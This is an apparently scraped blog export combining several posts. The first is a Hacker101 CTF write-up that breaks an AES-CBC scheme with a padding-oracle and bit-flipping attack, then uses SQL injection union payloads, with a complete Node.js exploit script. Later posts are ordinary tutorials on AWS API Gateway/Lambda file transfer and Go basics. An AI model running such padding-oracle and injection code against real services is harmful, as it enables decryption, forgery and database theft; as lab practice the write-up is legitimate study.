試著輸入值之後,發現上面有一段 ?post= 資料 嘗試更改之後,發現 flag 0x01根據上一個 error message 得知有用到 base64所以可以知道 ?post= 的是 base64接下來再輸入一些奇怪的值試試看 發現程式使用的是 aes-128-cbc 去把資料作加密且根據錯誤訊息表示 IV 要為 16 bytes,代表 post 是需要帶入 IV 進去的那根據這篇解釋 aes 加解密以及存在的 padding oracle 攻擊得知透過修改 iv 可以對解密後的資料做 XOR,進而達到目標 payload主要公式如下:12345678// new_iv 為攻擊者構造的 iv// iv 為原本的 iv// plain 為明文// middle 代表透過 aes 解密後,但還未經過 xor 的時候的 payload公式 1: plain[i] = middle[i] XOR iv[i]公式 2: 0x01 = middle[i] XOR new_iv[i]公式 3: middle[i] = 0x01 XOR new_iv[i]公式 4: plain[i]= 0x01 XOR new_iv[i] XOR iv[i]透過以上公式可以推斷出明文,這邊用 16bytes 去排版,方便後續說明123456789{"flag": "^FLAG^a38f2d9e2659df7212c341bc01a2cf828c7d663978eb476ac6d664a03f49c08c$FLAG$", "id": "3", "key": "rTU2s8qRJ4uRRdLFJbt-YA~~"}\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n 0x02因為上一題有發現 id 為 3於是開始繼續利用上一個 flag 提到的文章裡面的翻轉攻擊去修改解密後的明文123456789// new_iv 為攻擊者構造的 iv// iv 為原本的 iv// plain 為明文// middle 代表透過 aes 解密後,但還未經過 xor 的時候的 payload// 'x' 為我們想要把解密後的值透過 xor 後變成的結果公式 1: plain[i] = middle[i] XOR iv[i]公式 2: 'x' = middle[i] XOR new_iv[i]公式 3: 'x' XOR new_iv[i] XOR iv[i] = plain[i]公式 4: new_iv[i] = plain[i] XOR 'x' XOR iv[i] 透過上面公式可以去修改原本的 payload這裡我們先只拿第一段來做修改,先省略掉其他 payload123456原本 iv: 05694ed4efacf438e310a4fc54ff2826原本明文: {"flag": "^FLAG^預期明文: {"id": "1"}\\x05\\x05\\x05\\x05\\x05 (記得不夠是要 padding value)原本的值: 05694ed4efacf438e310a4fc54ff28265a813ad8376339531ea70324a0ce85c8更改後的: 056941dcacf1f620f21087bf1dbb6a7d5a813ad8376339531ea70324a0ce85c8上面可以發現前面 32 bytes 的 iv 已經變了把這個 payload 塞回去得到下面得結果 果然 QQ,原本以為還是要有 key 才能去解開,不能只單純改 id因為原本 id 在第 7 個 block所以改了第 6 個的 block,讓 id 所在的 block 從 3 -> 1但改了第 6 個的 block,解密出來一定會有問題所以要先知道改了第 6 個 block 後的明文,再去回推第 5 個 block 應該要什麼值才能讓更改後的第 6 個 block XOR 後才能解回原本應有的值以此類推,要更改到最面的 iv block 才算完成但全部改完之後出現下面訊息,看來跟上面直接改 id 是一樣的看來 key 是拿去做進一層解密內容使用,所以直接改 id 不需要 key 就可以了,有點白做了 XD 0x03這一題試著把 id 改成單引號發生一件事情SQL Injection 出現了, 所以就需要把 payload 改成 SQL Injection 用的至於為什麼要用 SQL Injection 的原因是因為前一個 flag 只有顯示 title,但內容因為 key 問題所以沒有顯示出來所以只能透過 SQL Injection 去 dump 出資料庫看看有什麼可以幫助解開前一個 flag 的內容大概是長下面的樣子,透過替換掉前面的 FLAG 達到更換 id 以及保留 key 的值123456789{"id": "9 union all select database(),user()", "aa": "xxxxxxxxxxc6d664a03f49c08c$FLAG$", "bb": "3", "key": "rTU2s8qRJ4uRRdLFJbt-YA~~"} 這樣就 dump 出 database 的資訊了(level3 以及 root@localhost 那個) 再來 dump 出 tables dump 出 columns 透過 dump 出來的 tables 和 columns,去把 tracking 列出資料來 發現有一筆資料是對 localhost 運行的結果把 post= 後面的值帶到瀏覽器後發現 flag4 (黑色大標是 flag3,下面小字為內容才是 flag4) 下面整理當時寫出來的 SQL Injection 搭配 Padding Oracle 程式碼 (有點亂 XD)程式基本邏輯為下: 透過 padding oracle 找到原本明文 透過翻轉攻擊構造假 iv 達到預期目標的明文 解完最右邊那一個 block 後,繼續慢慢往左邊一次解一個 block 解下去 要注意的地方是最外層的 for 迴圈一定要從第 9 個往下遞減跑下去每次跑完如果 request 量太多的導致中斷連線的話會顯示下一個要解的 block,以及下一個 payload 應該帶什麼,去防止中斷因為這邊是直接一次 call 256 的 request 去找比較快,所以很容易斷 XD最後面要注意的是 wantedPlainText 一定要是 16 bytes 唯一組才可以 想要直接使用這個程式碼的直接改兩個大點即可 originalPayload 的那一段 base64 改成正常 request 的 base64 把 http://34.74.105.127/548dbda597/?post= 改成你自己的即可 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596const getPayload = (paddingOracleValue, paddingValue, answer) => { answer.reverse() answer[paddingOracleValue] = paddingValue answer.reverse() return answer.toString('hex')}const setBlock = (allBlocks, targetBlock, paddingOracleValue, paddingValue, answer) => { const startPosition = targetBlock * 32; const previousBlockEndPosition = startPosition - 32; let first = allBlocks.substring(0, previousBlockEndPosition); let end = allBlocks.substring(startPosition); return first + getPayload(paddingOracleValue, paddingValue, answer) + end;}const encodeHexToBase64 = (payload) => { return Buffer.from(payload, 'hex').toString('base64').replace(/\\=/g, '~').replace(/\\//g, \"!\").replace(/\\+/g, \"-\")}const decodeBase64ToHex = (payload) => { return Buffer.from(payload.replace(/\\~/g, '=').replace(/\\!/g, \"/\").replace(/\\-/g, \"+\"), 'base64').toString('hex')}(async () => { const axios = require('axios'); // original let originalPayload = decodeBase64ToHex(\"H6KJsPhBWKtdEt3LZnTuf8K5!-B69-TxsTNIze9!0Wrss6wGzNUKwi-aaz8WfDVnBrb2UsO7tuAhRej9F05Fexm6MihRiLDQO1vNGPdAgGZAWo11!Mw1tAdnhvdOZra3gJ99qA1adxSD!s97jVbcizRIXZ!MHVKw4jVNAplCiqzYtXJNNhxCXsJIPRKDptSLgukPWBN!wEY2e1nCQPYVrQ~~\"); for (let i = 3; i > 0; i--) { let block = i let plain = [] let plainText = []; let rawPayload = originalPayload.substring(0, (block + 1) * 32) let previousIv = originalPayload.substring((block - 1) * 32, (block) * 32) let answer = Buffer.from(\"00000000000000000000000000000000\", 'hex'); for (let paddingOracleValue = 0; paddingOracleValue < 16; paddingOracleValue++) { let job = [] for (let index = 0; index < 256; index++) { let paddingValue = index; let blocksToBeDecrypt = setBlock(rawPayload, block, paddingOracleValue, paddingValue, answer) payload = encodeHexToBase64(blocksToBeDecrypt) job.push(axios.get(`http://34.74.105.127/548dbda597/?post=${payload}`)) } let results = await Promise.all(job).catch((error) => { console.log(error) }) for (let index = 0; index < results.length; index++) { let paddingValue = index; if (!results[index].data.includes('PaddingException')) { let originalIv = Buffer.from(rawPayload, 'hex') let tempPlainText = paddingValue ^ (paddingOracleValue + 1); plainText.push(tempPlainText); plain.unshift(Buffer.from([tempPlainText ^ originalIv[(block) * 16 - 1 - paddingOracleValue]]).toString('hex')) answer.reverse() let nextPaddingOracleValue = (paddingOracleValue + 2); for (let index = 0; index < plainText.length; index++) { answer[index] = plainText[index] ^ nextPaddingOracleValue; } answer.reverse() console.log(plain); break; } } } const wantedPlainText = [ '{\"id\": \"9 union ', 'all select group', '_concat(headers)', ' ,2 FROM trackin', 'g\", \"b\": \"bbbbbb', 'bbbbbbbbbbbbbbbb', 'bbbbbbbbbbbbbbbb', 'bbb\", \"bbbbbb\":\"', 'YA~~\"}\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n' ] const originalIv = Buffer.from(previousIv, 'hex') const change = plain.map(item => parseInt(item, 16)) console.log('old: ' + Buffer.from(change).toString()); console.log('new: ' + wantedPlainText[block - 1]); const originPlainText = Buffer.from(change) const wanttedPlainText = Buffer.from(wantedPlainText[block - 1]) const wanttedIv = [] for (let index = 0; index < wanttedPlainText.length; index++) { wanttedIv.push(originalIv[index] ^ originPlainText[index] ^ wanttedPlainText[index]) } let newIv = Buffer.from(wanttedIv).toString('hex') let part1 = originalPayload.substring(0, (block - 1) * 32); let part3 = originalPayload.substring((block) * 32); originalPayload = `${part1}${newIv}${part3}` console.log(`replaced block: ${block}`); console.log(`next block: ${block - 1}`); console.log(`new payload: ${encodeHexToBase64(originalPayload)}`); } axios.get(`http://34.74.105.127/548dbda597/?post=${encodeHexToBase64(originalPayload)}`).then((response) => { console.log(response.data) })})(); 後記這題花了我很多時間解決 XD本來想說最後的 SQL Injection 就不要解了,反正大概知道怎麼弄但還是很想把它解出來,所以就還是想辦法透過程式自動化去找到最後的 flag只是過程中一直修改 wantedPlainText 再加上還會一直斷線真的是有夠麻煩 XD","link":"/2019/10/20/hacker101-part6/"},{"title":"如何用 AWS API Gateway 和 Lambda 上傳和下載檔案 -- Part 1","text":"這篇主要是記錄如何利用 AWS lambda 和 AWS API Gateway 做檔案的上傳以及下載在 API Gateway 中要做幾項設定才有辦法達成加上 Lambda 不能回傳『完整』的 binary 所以必須搭配 API Gateway mapping template 調整這篇不會一步一步教學開 API Gateway 和 Lambda,只記錄重點部分 API Gateway主要調整得地方有兩個 /upload Integration Request /download Integration Response 另外還有一種特別的方式,是利用 API Gateway 的 Binary Support 去處理這種方式會列在最後面 /upload Integration Request 到 body mapping template 底下調整成圖片樣子(Generate templaye 選擇 “Method Request passthrough”) 12345// 需要修改的部分為第一行的 body// 其他行不需要做調整{ \"body\": \"$util.base64Encode($input.body)\"} /download Integration Reponse 到 body mapping template 底下調整成圖片樣子 1$util.base64Decode($input.body) Lambda主要是用 nodejs 去編寫處理上傳的部分 Handle upload request1234567891011const multipart = require('parse-multipart');exports.handler = (event, context, callback) => { // convert base64 string to binary const buffer = new Buffer(event.body, 'base64') const boundary = multipart.getBoundary(event.params.header['Content-Type']) const parts = multipart.Parse(buffer, boundary) return callback(null, { s: parts }) } Handle download request這邊範例是用去讀取 S3 的檔案 12345678910111213141516exports.handler = (event, context, callback) => { s3.getObject({ Bucket: 'your-bucket', Key: 'download_file.json' }, (err, data) => { if (err) { return callback(err) } // 原本方式是會直接回傳 JSON (DEMO 有圖) // callback(null, data.Body) // // 正確方式,回傳 base64,然後讓 API Gateway 去 decode callback(null, new Buffer(data.Body).toString('base64')) })} Demo with PostmanUpload File上傳要注意選 “form-data”然後隨便選擇一個檔案即可 Download File如果沒有在 API Gateway 做調整的話會變成沒錯,Lambda 是會直接回傳 JSON 的他並不會回傳 binary 給你,所以才要到 API Gateway 和 Lambda 做一些調整 (要到 mapping template 調整) 修改之後 然後可以改用程式下載檔案 123456const request = require('request')const fs = require('fs')const r = request.post('your_url')r.on('response', function (res) { res.pipe(fs.createWriteStream('download_file.json'))}); 額外補充 - Binary Support/upload integration request在 API Gateway 底下的 binary support 加上 multipart/form-data,API Gateway 就會自動幫我們做 base64 encode 而在 mapping template 就改成這樣即可lambda 不需要做任何調整 123{ \"body\": $input.json('$')} 註記 API Gateway payload 有限制 10mb Lambda 有限制 6mb 所以最大只能上傳或下載 6mb 的檔案但是,因為會轉成 base64,所以原本的 4mb 轉完可能變成 5mb這裡是特別要注意的地方","link":"/2017/11/04/handle-file-with-Lambda-and-API-Gateway/"},{"title":"初學 Go 該注意的事","text":"前言最近一兩個月開始寫比較多 Go 的專案,所以就把在寫 Go 時覺得應該要先知道的資訊記錄下來,這篇目前不會紀錄跟測試相關的,測試會再額外拉出來介紹。 strcut 和 receiver 的內容在之前的學習 Golang 的心得 - Receiver 就已經有提到過,這邊會快速帶過。整篇內容不會講太多細節,主要是可以清楚了解 Go 有哪些比較特別的用法,有些主題的原理我會再額外開文章去轉寫詳細內容。 struct在 Go 裡面並沒有 class 的概念,取而代之的是 struct,有學過 C / C++ 對這東西應該很了解,基本上就是一種資料結構,而在 Go 裡面會大量用到 struct。 直接來看一個 struct 使用範例,就會看到印出 {jack} 出現。 123456789101112131415package mainimport \"fmt\"type User struct { Name string}func main() { user := User{ Name: \"jack\", } fmt.Println(user)}// {jack} 如果想更詳細看到 struct 對應的欄位名稱,可以改用 fmt.Println("%#v\\n", user),就可以看到 main.User{Name:"jack"} 這個結果出現。 receiver接著若我想用 function 去修改我的名字的話,可以這麼做。 12345678910111213141516171819package mainimport \"fmt\"type User struct { Name string}func (user *User) changeName() { user.Name = \"hi\"}func main() { user := User{ Name: \"jack\", } user.changeName() fmt.Printf(\"%#v\\n\", user)} 可以看到特別的地方在於 function name 前面有一個類似參數的東西,那個叫做 receiver,另一個是 pointer 的部分,詳細的內容建議到學習 Golang 的心得 - Receiver 了解一下,裡面也有提到 Go 裡面是只有存在 pass by value,但以 map & slice 來說他們 copy 的是 pointer value,而不是資料本身,換句話說 map & slice 傳到 function 裡面做修改時是會影響外面的。 interfaceinterface 可以來定義執行的動作,Go 是 duck typing 的一種類型,只要當前的方法和屬性有符合 interface 定義的結構,那就可以被使用。 123456789101112131415161718192021222324252627package mainimport \"fmt\"type User struct { Name string}func (user *User) changeName(newName string) { user.Name = newName}type Action interface { changeName(newName string)}func doSomething(a Action, newName string) { a.changeName(newName)}func main() { user := User{ Name: \"jack\", } doSomething(&user, \"hi2\") fmt.Printf(\"%#v\\n\", user)} 但這邊會看到一個比較特別的是用 &user 傳進去才可以使用,那是因為 changeName 這個 function 是 pointer type 的 User 實作的,並不是 value type 的 User 實作的,也就是 *User 有 changeName,但 User 沒有 changeName 可以使用,更詳細的之後再開一篇來說明。 callback在 Go 中 function 是 First-class function,所以 function 可以被當作參數儲存下來。 1234567891011package mainimport \"fmt\"func main() { a := func() { fmt.Println(\"cool\") } a()} 也就意味著可以當成 callback 的方式去運行。 1234567891011121314package mainimport \"fmt\"func cool(inp string, cb func(result string)) { newStr := fmt.Sprintf(\"%s:%s\", inp, \"hihihi\") cb(newStr)}func main() { cool(\"yo?\", func(result string) { fmt.Println(result) })} deferGo 中有一個 defer 方法,可以讓你 defer 後面接著 function 在執行的 function 的 scope 結束前去執行,直接來看範例。 12345678910111213141516package mainimport \"fmt\"func cool() { fmt.Println(\"yoyo\")}func main() { fmt.Println(\"start\") defer cool() fmt.Println(\"end\")}// start// end// yoyo 通常都會用在讀檔完成後,去用 defer 呼叫 f.close,確保會把檔案給關閉。另外 defer 是 LIFO 的概念,也就是以 stack 的概念去看待。再來一個比較特別的用法,因為 defer 接收的參數是 function,所以可以透過在 defer 的 function 裡面回傳 function 用來計算執行 defer 本身 function 執行時間,類似以下方式。 1234567891011121314151617181920package mainimport ( \"fmt\" \"time\")func cool() func() { fmt.Println(time.Now()) return func() { fmt.Println(time.Now()) }}func main() { defer cool()() time.Sleep(2 * time.Second)}// 2022-01-07 23:33:10.983361 +0800 CST m=+0.000175862// 2022-01-07 23:33:12.984566 +0800 CST m=+2.001384914 panic & recovery在 Go 裡面可以用 panic 的方式直接終止程式運行。 1234567891011121314package mainimport ( \"fmt\")func cool() { panic(\"bad\")}func main() { cool() fmt.Println(\"yoo?\")} 即便改用 goroutine 的方式,整個程式還是會被終止。 12345678910111213141516package mainimport ( \"fmt\" \"time\")func cool() { panic(\"bad\")}func main() { go cool() time.Sleep(2 * time.Second) // 因為 goroutine 啟動需要一點時間,不加這行的話,還是會執行到最下面。 fmt.Println(\"yoo?\")} 那麼被終止就會有對應可以回復的方式,就是透過 recovery 去接錯誤,但 recovery 只能用在 defer 接的 function 後面,而且一定要在 panic 之前呼叫才可以。 123456789101112131415package mainimport ( \"fmt\")func main() { defer func() { err := recover() fmt.Println(\"got error\") fmt.Println(err) }() panic(\"bad\") fmt.Println(\"yoo?\") } 但要注意的是,panic 後面得程式是不會繼續執行下去的,另外 panic & recovery 是有 scope 關係的,如果上面的程式用別的 goroutine 去執行 panic 則不會正確抓到,如下範例。 1234567891011121314151617181920212223package mainimport ( \"fmt\")func cool() { panic(\"bad\")}func main() { defer func() { err := recover() fmt.Println(\"== got error ==\") fmt.Println(err) fmt.Println(\"== got error ==\") }() go cool()}// == got error ==// <nil> // 沒抓到// == got error ==// panic: bad 若是放到同個 scope 則可以運作正常。 123456789101112131415161718192021222324package mainimport ( \"fmt\" \"time\")func cool() { defer func() { err := recover() fmt.Println(\"== got error ==\") fmt.Println(err) fmt.Println(\"== got error ==\") }() panic(\"bad\")}func main() { go cool() time.Sleep(1 * time.Second)}// == got error ==// bad// == got error == init通常在寫 class 的語言時,會習慣有 construct 的東西存在,當在 new 一個東西時去執行一些動作。只是 Go 沒有 class,且用 package 的概念,但還是相對類似的東西可以使用,也就是 init,會發現以下程式不用實際去呼叫 init 這個 function 也能被執行到。 1234567891011package mainimport ( \"fmt\")func init() { fmt.Println(\"this is init\")}func main() {} 以執行的順序來說,即使在上面有初始化一些資料,init 也會蓋過 123456789101112131415161718package mainimport ( \"fmt\")var a = \"1\"func init() { a = \"123\" fmt.Println(\"this is init\")}func main() { fmt.Println(a)}// this is init// 123 buffered / unbuffered channelchannel 主要是被設計在不同 goroutine 之間溝通的一種方式,並不是採用以往認知的共享記憶體,然後還要設計去限制一次只能有一個 thread 去對共享記憶體中的資料做讀寫這種複雜的方式,在 Go 裡面不同 goroutine 的溝通是更加簡單的。 先來對名詞簡單定義一下,後面會有更完整的總結說明。 unbuffered channel: 無法指定 channel 大小 buffered channel: 可以指定 channel 大小 再來對語法簡單說明一下 <- ch 代表是從 channel 中讀出資料 ch <- 代表是把資料塞到 channel 中 unbuffered channel先來簡單看一個範例。 1234567891011121314151617181920package mainimport ( \"fmt\" \"time\")func main() { ch := make(chan string) go func() { time.Sleep(2 * time.Second) fmt.Println(<-ch) }() fmt.Println(\"start\") ch <- \"11\" fmt.Println(\"end\")}// start// 11// end 這個範例除了 main thread goroutine 之外,還用了 go 開了一個 goroutine 出來,那印出的順序是按照順序的,也就說明這是一個同步行為,接著我們試著拿掉中間 go 的部分。 1234567891011121314package mainimport ( \"fmt\")func main() { ch := make(chan string) fmt.Println(\"start\") ch <- \"11\" fmt.Println(\"end\")}// start// fatal error: all goroutines are asleep - deadlock! 可以發現在執行 ch <- "11" 那一行就噴出 fatal error 了,原因是 unbufferd channel 是同步的關係,所以是會 block 當前 goroutine 的,以這個 case 來說,我們只有 main goroutine,並沒有其他 goroutine,就代表沒有其他地方可以執行讀取 channel 的指令,整個程式就會壞掉。 這也是在網路上常看到說,unbuffered chhanel 的讀寫必須是要一組的,有個地方讀,就要有個地方寫,不過我們再看一個範例。 1234567891011121314151617package mainimport ( \"fmt\")func main() { ch := make(chan string) fmt.Println(\"start\") go func() { for { } }() ch <- \"11\" fmt.Println(\"end\")}// start 會發現這個範例只有寫入,卻沒有讀取,但不會噴出 error,雖然還沒讀到原始碼,但 Go 應該是認定雖然 main goroutine blocked,但有其他 goroutine 還在運行,代表期待其他 goroutine 會讀取這個 channel 資料,既然還有 goroutine 還活著,整個程式就不會陷入 deadlock。 所以實際上判定不是說,一定要有讀寫一組,而是當你用了一邊的讀/寫,那麼 Go 就期待有另一個地方也執行對應的寫/讀,若完全沒有 goroutine 存在,就代表不會有另一邊行為的出現,就會陷入 deadlock。 buffered channel再來說到 buffered channel,直接來看範例。 123456789101112131415package mainimport ( \"fmt\")func main() { ch := make(chan string, 2) // 指定大小 fmt.Println(\"start\") ch <- \"11\" ch <- \"11\" fmt.Println(\"end\")}// start// end 可以看到這個 case 跟前一個不同,是不需要額外開 goroutine 出來的,那如果我們塞往 channel 多塞一筆資料呢? 12345678910111213141516package mainimport ( \"fmt\")func main() { ch := make(chan string, 2) fmt.Println(\"start\") ch <- \"11\" ch <- \"11\" ch <- \"11\" fmt.Println(\"end\")}// start// fatal error: all goroutines are asleep - deadlock! 會發現情況變得跟 unbuffered 的情況一樣,這時候因為沒有其他 goroutine,所以就出現 deadlock,所以一樣故意加一個新的 goroutine,他就不會噴出 error,如下。 123456789101112131415161718package mainimport ( \"fmt\")func main() { ch := make(chan string, 2) fmt.Println(\"start\") go func() { for { } }() ch <- \"11\" ch <- \"11\" ch <- \"11\" fmt.Println(\"end\")} 所以 buffered channel 的特性,在塞滿之前是不會期待有其他 goroutine 去對 channel 操作,也意味這 buffered channel 在滿之前,會是非同步的行為,滿了之後就會 block 當前 goroutine,行為等同於 unbuffered channel,那如果在沒滿和滿之間的話呢?其實是可以在當前 goroutine 直接去做操作,如下範例。 12345678910111213141516171819202122package mainimport ( \"fmt\")func main() { ch := make(chan string, 2) fmt.Println(\"start\") ch <- \"11\" fmt.Println(<-ch) ch <- \"12\" fmt.Println(<-ch) ch <- \"13\" fmt.Println(<-ch) fmt.Println(\"end\")}// start// 11// 12// 13// end 但另一個特別的點是,如果 buffered channel 裡面是沒有任何資料的話,使用 <- ch 也是會 block 當前的 goroutine,unbuffered channel 也是一樣的邏輯,如下範例。 1234567891011121314151617package mainimport ( \"fmt\" \"time\")func main() { ch := make(chan string, 2) // or ch := make(chan string, 2) go func() { fmt.Println(\"got it\") time.Sleep(2 * time.Second) ch <- \"hi\" }() <-ch fmt.Println(\"end\")} 可以看到開一個新的 goroutine 要去寫資料進去,但原本的 main goroutine 就停在 <-ch,直到把資料寫進去 channel,main goroutine 才繼續執行下去,接著若我把中間 goroutine 拿掉的話,則會出現 deadlock,因為已經沒有任何 goroutine 存在,也就代表不可能有人可以把資料寫到 channel。 123456789101112package mainimport ( \"fmt\")func main() { ch := make(chan string, 2) <-ch fmt.Println(\"end\")}// fatal error: all goroutines are asleep - deadlock! 簡單總結 unbuffered channel 當執行讀寫其中一個動作,會 block 當前 goroutine,若同時沒有其他 goroutine 則會陷入 deadlock buffered chhannel 當 channel 沒滿的時候,是可以在同一個 goroutine 中讀寫多次 若 channel 是滿的時後,則會 block 當前 goroutine,若同時沒有其他 goroutine 則會陷入 deadlock。 若 channel 是空的時候,執行讀取也會 block 當前 goroutine,若同時沒有其他 goroutine 也會陷入 deadlock。 sync flow直接先看以下範例。 12345678910111213package mainimport ( \"fmt\")func main() { go func() { fmt.Println(\"cool\") }() fmt.Println(\"end\")}// end 可以看到最終只有 end 被印出來,並沒有等待另一個 goroutine 中的 cool,那是因為 main goroutine 已經結束,所以就跳出整個程式,這 part 要討論的是要如何去把同步流程,等到 cool 出來之後,整個程式才結束執行。 Channel如果要讓程式停下來等,就可以利用 unbuffered channel block 的機制去實現,如下範例。 123456789101112131415package mainimport ( \"fmt\")func main() { done := make(chan bool) go func() { fmt.Println(\"cool\") done <- true }() <-done fmt.Println(\"end\")} WaitGroup另一個是 WaitGroup,主要提供 Add Wait Done 三個 function,只要 Add 多少次,就得需要做對應次數的 Done,否則 Wait 的那一行就會一直等下去,簡單來說。 Add (int): 增加幾次計數 Done: 等同於 Add (-1) 的概念 Wait: blocked 直到 Add & Done 總合起來為零為止 先看下面正常使用的範例。 1234567891011121314151617package mainimport ( \"fmt\" \"sync\")func main() { var wg sync.WaitGroup wg.Add(1) go func() { fmt.Println(\"cool\") wg.Done() }() wg.Wait() fmt.Println(\"end\")} 若如果有兩個 Add,配合一個 Done 的會就會卡住,如下範例。 12345678910111213141516171819package mainimport ( \"fmt\" \"sync\")func main() { var wg sync.WaitGroup wg.Add(2) go func() { fmt.Println(\"cool\") wg.Done() }() wg.Wait() fmt.Println(\"end\")}// cool// fatal error: all goroutines are asleep - deadlock! 從這範例可以發現跟 channel 的機制其實很相似,以這個 case 來說,已經沒有任何 goroutine 可以執行 Done 的動作,就會被歸類在 deadlock 了。 context在寫 Go 時,可以很常看到 function 第一個參數就是 context,然後會一直被傳下去。 而這個 context 基本上是被設計同步不同 goroutine 流程或是夾帶資訊到不同 goroutine / function 之中的一個東西,我們先個看個 context 可以如何使用去夾帶資訊。 12345678910111213141516package mainimport ( \"context\" \"fmt\")func cool(ctx context.Context) { fmt.Println(ctx.Value(\"aa\"))}func main() { ctx := context.Background() ctx = context.WithValue(ctx, \"aa\", \"123\") cool(ctx)} 上面範例就是把一個 key-value 綁在 context 傳下去,讓其他接收到的人都可以讀取同樣的資訊,其實像是在 Go http server,每一個請求都是開一個新的 goroutine,並把對應的 request body 資訊綁在 context 裡面往下傳,所以我們才可以直接在 contex 去讀取請求。 另一個是同步流程,假設我們想一次停止所有 goroutine,就很適合用 context 是去處理,如下範例。 1234567891011121314151617181920212223242526272829package mainimport ( \"context\" \"fmt\" \"time\")func main() { ctx, cancel := context.WithCancel(context.Background()) go func(ctx context.Context) { fmt.Println(\"start-1\") <-ctx.Done() fmt.Println(time.Now()) fmt.Println(\"end-1\") }(ctx) go func(ctx context.Context) { fmt.Println(\"start-2\") <-ctx.Done() fmt.Println(time.Now()) fmt.Println(\"end-2\") }(ctx) time.Sleep(1 * time.Second) cancel() time.Sleep(1 * time.Second)} selectselect 能夠監聽多個 channel 的讀寫狀況,若 channel 都沒有任何動作,就會 block 當前 goroutine,如下範例。 1234567891011121314151617181920package mainimport ( \"fmt\" \"time\")func main() { ch := make(chan string) go func() { fmt.Println(\"start\") select { case value := <-ch: fmt.Println(value) } fmt.Println(\"end\") }() time.Sleep(2 * time.Second)}// start 若我在 Sleep 前把資料寫到 channel,那個 goroutine 就會監聽到這個動作,並往後執行。 1234567891011121314151617181920212223package mainimport ( \"fmt\" \"time\")func main() { ch := make(chan string) go func() { fmt.Println(\"start\") select { case value := <-ch: fmt.Println(value) } fmt.Println(\"end\") }() ch <- \"cool\" time.Sleep(2 * time.Second)}// start// cool// end 但比較特別的點是 select 可以有一個 default case,當執行的當下沒有任何 channel 有動作,那就會執行 default 的部分。 123456789101112131415161718192021222324package mainimport ( \"fmt\" \"time\")func main() { ch := make(chan string) go func() { fmt.Println(\"start\") select { case value := <-ch: fmt.Println(value) default: fmt.Println(\"default\") } fmt.Println(\"end\") }() time.Sleep(2 * time.Second)}// start// default// end 接著另一個有趣的點,當 select 搭配不同類型的 channel 會有不同的結果,關鍵取決於 channel 當下是否 block。以 unbuffered channel 來說,不管在 case 讀寫,都是屬於 block 行為,就不會觸發那條 case 發生,如下範例。 1234567891011121314151617181920package mainimport ( \"fmt\" \"time\")func main() { ch := make(chan string) go func() { fmt.Println(\"start\") select { case ch <- \"cool\": // blocked fmt.Println(\"put\") } fmt.Println(\"end\") }() time.Sleep(2 * time.Second)}// start 若要讓他往下執行,就得需要對應的讀取動作才可以。 1234567891011121314151617181920212223package mainimport ( \"fmt\" \"time\")func main() { ch := make(chan string) go func() { fmt.Println(\"start\") select { case ch <- \"cool\": fmt.Println(\"put\") } fmt.Println(\"end\") }() <-ch time.Sleep(2 * time.Second)}// start// put// end 所以換到 buffered channel,在 channel 沒滿之前,case 是可以被正常觸發的。 12345678910111213141516171819202122package mainimport ( \"fmt\" \"time\")func main() { ch := make(chan string, 2) go func() { fmt.Println(\"start\") select { case ch <- \"cool\": fmt.Println(\"put\") } fmt.Println(\"end\") }() time.Sleep(2 * time.Second)}// start// put// end 若 channel 是已滿的情況,再額外塞入時就會跟 unbuffered channel 一樣會被 blocked,一樣會需要其他 goroutine 先去讀取才可以觸發那條 case,我們先來看被 blocked 的情況 12345678910111213141516171819202122package mainimport ( \"fmt\" \"time\")func main() { ch := make(chan string, 2) ch <- \"cool\" ch <- \"cool\" go func() { fmt.Println(\"start\") select { case ch <- \"cool\": fmt.Println(\"put\") } fmt.Println(\"end\") }() time.Sleep(2 * time.Second)}// start 一樣要解除這個情況,需要去把讀出 channel 資訊才可以繼續往下執行。 12345678910111213141516171819202122232425package mainimport ( \"fmt\" \"time\")func main() { ch := make(chan string, 2) ch <- \"cool\" ch <- \"cool\" go func() { fmt.Println(\"start\") select { case ch <- \"cool\": fmt.Println(\"put\") } fmt.Println(\"end\") }() <-ch time.Sleep(2 * time.Second)}// start// put// end 所以當下 case 都被 blocked 的話,且又有 default case 存在,就會一併跑到 default 去執行。 1234567891011121314151617181920212223242526package mainimport ( \"fmt\" \"time\")func main() { ch := make(chan string, 2) ch <- \"cool\" ch <- \"cool\" go func() { fmt.Println(\"start\") select { case ch <- \"cool\": fmt.Println(\"put\") default: fmt.Println(\"default\") } fmt.Println(\"end\") }() time.Sleep(2 * time.Second)}// start// default// end 所以在使用 select 要小心監聽的 channel 的情況,若有加上 default 的條件,對於 channel 會不會 block 就需要更加理解,否則可能全部都走到 default 去了,另外如果當 select 中存在兩者一樣的 case 則是會隨機挑一條去執行,這個網路上查基本上都會有,這邊就不附範例程式碼。 References主要是從個人邊學邊紀錄在 Github Issuse 這邊整理過來的一些資料","link":"/2022/01/09/go-summary/"},{"title":"如何用 AWS API Gateway 和 Lambda 上傳和下載檔案 -- Part 2","text":"前言這次記錄是介紹,只透過 AWS API Gateway 不加上 AWS Lambda 做檔案的上傳上一篇因為 Lambda 的特性是 Request 和 Response 都要是 JSON所以必須在 API Gateway 必須要做 body mapping 的調整e.g 透過 Binary Support 或是 Base64Enconde 的方式處理那這次的紀錄是讓 AWS 的 API Gateway 的 Upload 直接通往到後面的 Server 端 AWS API Gateway在上一篇,透過 Lambda 和 API Gateway 完成檔案上傳和下載之後出現了一個疑問,API Gateway 直接到 Server 這端,需不需要調整東西呢 ? 在這樣的想法下,做了一個簡單的實現 在 API Gateway 新增一個 API /upload (POST Method) 用 nodejs 啟動 server (記得把 body-parser 改成 text 也支援的設定)在這樣的實驗之下,發現 Request 的 Content-Type 只有帶 multipart/form-data並沒有帶後面的 Boundary,這樣會沒有辦法去 Parse 上傳的檔案或是 text那會這樣的原因只會有一個,那就是 API Gateway 對我的 Headers 做了手腳 後來的解決方式,是把設定 API Gateway 為 Proxy,就可以讓 bounday 成功 pass 到後端 Server那這後面就會介紹如何設定 API Gateway (基本上就只有一個地方,Integration Request & Integration Response) Upload只要把 HTTP Proxy Integration 打勾即可,不用像上一篇要到其他地方做設定 ServerUpload12345678910const express = require('express')const app = express()const bodyParser = require('body-parser')app.use(bodyParser.text({type: '*/*'}))app.post('/upload_file', (req, res, next) => { console.log(req.body); console.log(req.headers); res.json({})})app.listen(8080) DEMOUpload從上傳的地方會看到 content-type 最後面會出現 boundary如果 API Gateway 沒有設成 Proxy 的話,是不會出現 不會出現的話,會沒辦法用 content-type 後面的 boundary 去 parse 檔案的因為檔案之間會用 